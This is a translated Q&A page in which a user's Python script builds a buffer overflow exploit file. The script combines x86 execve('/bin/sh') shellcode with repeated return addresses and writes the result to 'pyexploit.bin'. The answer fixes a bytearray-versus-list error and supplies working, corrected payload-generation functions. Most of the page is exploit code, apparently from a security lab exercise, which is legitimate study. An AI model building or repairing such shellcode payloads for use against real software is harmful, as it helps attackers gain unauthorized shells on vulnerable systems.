簡體   English   中英

如何將字節列表寫入文件Python?

[英]How to write byte-list to file Python?

我有一個要寫入二進制文件的字節列表:

這就是我所擁有的:

import struct as st

shellcode = bytearray("\xeb\x1f\x5e\x89\x76\x08\x31"+
     "\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"+
     "\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40"+
     "\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")

def generateexploitmessage(nops, retaddr):
    message = []
    for x in xrange(0,128):
        message += st.pack(">I",retaddr)
    print(message)
    for x in xrange(0,len(shellcode)):
        message[x] = shellcode[x]
    print(message)
    print(len(message))
    return message


def reversebyteorder(arg):
    returnarray = []
    for x in xrange(0,len(arg),4):
        temparray = bytearray(arg[x:x+4])[::-1]
        print temparray
        returnarray += temparray
    return returnarray


def writebytestofile(message):
    f = open("pyexploit.bin",'wb')
    print message 
    f.write(message)
    f.close()


def main():
    print shellcode
    exploit =generateexploitmessage(0,0xbffff614)
    readyexploit = reversebyteorder(exploit)
    writebytestofile(readyexploit)


if __name__ == '__main__':
    main()

我收到的錯誤消息如下:

Traceback (most recent call last):
  File "generateexploit.py", line 47, in <module>
    main()
  File "generateexploit.py", line 43, in main
    writebytestofile(readyexploit)
  File "generateexploit.py", line 35, in writebytestofile
    f.write(message)
TypeError: argument 1 must be string or buffer, not list

我知道我需要以某種方式將列表或必須具有的格式轉換為可寫格式,但是我不知道如何。 我試圖將一個bytearray(message)寫入最終消息到文件中,但這沒有幫助。

Bot generateexploitmessage()reversebyteorder()生成一個字節列表 (整數),而不是bytesarray() 在寫入之前,將結果再次包裝在bytearray()

f.write(bytearray(message))

或者,堅持早期產生一個bytearray 此處無需使用列表:

def generateexploitmessage(nops, retaddr):
    message = bytearray()
    for x in xrange(128):
        message += st.pack(">I", retaddr)
    message[:len(shellcode)] = shellcode
    return message

def reversebyteorder(arg):
    returnarray = bytearray()
    for x in xrange(0, len(arg), 4):
        temparray = bytearray(arg[x:x + 4])[::-1]
        returnarray += temparray
    return returnarray

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM